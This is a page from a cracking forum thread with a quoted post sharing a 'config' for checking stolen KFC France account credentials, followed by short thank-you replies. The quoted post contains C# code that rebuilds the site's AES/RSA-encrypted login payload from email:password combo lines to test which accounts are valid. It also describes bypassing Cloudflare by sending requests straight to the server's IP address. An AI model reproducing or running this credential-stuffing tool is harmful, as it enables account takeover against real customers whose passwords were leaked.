Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



   3412

KFC France [New Bypass Proxyless w/ CF Bypass]

by Autoclicker - 20 April, 2024 - 09:58 PM
This post is by a banned member (fkill420) - Unhide
fkill420  
Registered
130
Posts
0
Threads
1 Year of service
#9
it is really a good job
This post is by a banned member (Tommy_star) - Unhide
100
Posts
0
Threads
1 Year of service
#10
nice share bro thanks man love it
This post is by a banned member (RaSadik) - Unhide
RaSadik  
Registered
43
Posts
0
Threads
2 Years of service
#11
Test
This post is by a banned member (JackFuego) - Unhide
JackFuego  
Registered
86
Posts
1
Threads
1 Year of service
#12
Merci frérot tu gère
This post is by a banned member (zoku_x) - Unhide
zoku_x  
Registered
256
Posts
0
Threads
2 Years of service
#13
thanks
This post is by a banned member (Kayzer57) - Unhide
Kayzer57  
Registered
116
Posts
0
Threads
5 Years of service
#14
Merci du aprtage
This post is by a banned member (MystFan) - Unhide
MystFan  
Registered
112
Posts
7
Threads
1 Year of service
#15
(20 April, 2024 - 09:58 PM)Autoclicker Wrote: Show More
Hello,

Since KFC.fr added 2FA I'm releasing the new updated config I've been using while few people had one for the past 3 months.
It was capturing points originally but since KFC added 2FA it's now just checking if the account is valid.

The config is using C# code in order to encrypt all required data being sent to KFC's authentication with AES encryption.
I would encourage you to read the full code to comprehend how it works.

It also has a shitty "cloudflare bypass" because these dumbasses allows you to directly send requests to their servers's IP address.

This is the C# code used :
 
Code:
 
const string PublicKey = "-----BEGIN PUBLIC KEY-----\n  MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgHO4AqKut5xbco9jgfz+bqkx9v0M\nO9t5DGzZEltqqZE5tNzHbve2D+KPWTeD+G9q2PilkPPHRz2+r5MgwlD4dGP6zum3\nhNj27CCIgUeaIJGhX/JlmBO3bgFGCcuemuKc+ygFJYvf0RzCo5svfn/6cKSHeovl\norMqQbQU3GrHLVA9AgMBAAE=\n  -----END PUBLIC KEY-----";
const string IV = "@qwertyuiop12344";
public string GenerateRandomKey(int length)
{
    const string chars = "@abcdefghijklmnopqrstuvwxyz123456789";
    var random = new Random();
    var result = new string(Enumerable.Repeat(chars, length)
      .Select(s => s[random.Next(s.Length)]).ToArray());
    return result;
}
public string Encrypt(string plainText, string key)
{
    using (Aes aesAlg = Aes.Create())
    {
        aesAlg.Key = Encoding.UTF8.GetBytes(key);
        aesAlg.IV = Encoding.UTF8.GetBytes(IV);
        ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
        using (MemoryStream msEncrypt = new MemoryStream())
        {
            using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
            {
                using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
                {
                    swEncrypt.Write(plainText);
                }
                return Convert.ToBase64String(msEncrypt.ToArray());
            }
        }
    }
}
public string EncryptWithPublicKey(string data)
{
    using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider())
    {
        rsa.ImportFromPem(PublicKey);
        byte[] dataBytes = Encoding.UTF8.GetBytes(data);
        byte[] encryptedBytes = rsa.Encrypt(dataBytes, false);
        return Convert.ToBase64String(encryptedBytes);
    }
}
public string Login(string email, string password)
{
    var aesKey = GenerateRandomKey(16);
    var rsaEncryptedKey = EncryptWithPublicKey(aesKey);
    var encryptedEmail = Encrypt(email, aesKey);
    var encryptedPassword = Encrypt(password, aesKey);
    var data = "{\"email\":\"" + encryptedEmail + "\",\"password\":\"" + encryptedPassword + "\"}";
    var encryptedData = Encrypt(data, aesKey);
    return "{\"data\":\"" + encryptedData + "\",\"key\":\"" + rsaEncryptedKey + "\"}";
}
var s = data.Line.Data.Split(':');
if (s.Length != 2) {
    data.STATUS = "INVALID";
    return;
}
var login = s[0];
var pass = s[1];
var loginPayload = Login(login, pass);

This is a quick preview :

[Image: Fw4HrBv.png]

interestig
This post is by a banned member (JeanCuleAFond) - Unhide
57
Posts
0
Threads
3 Years of service
#16
le boss merci

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)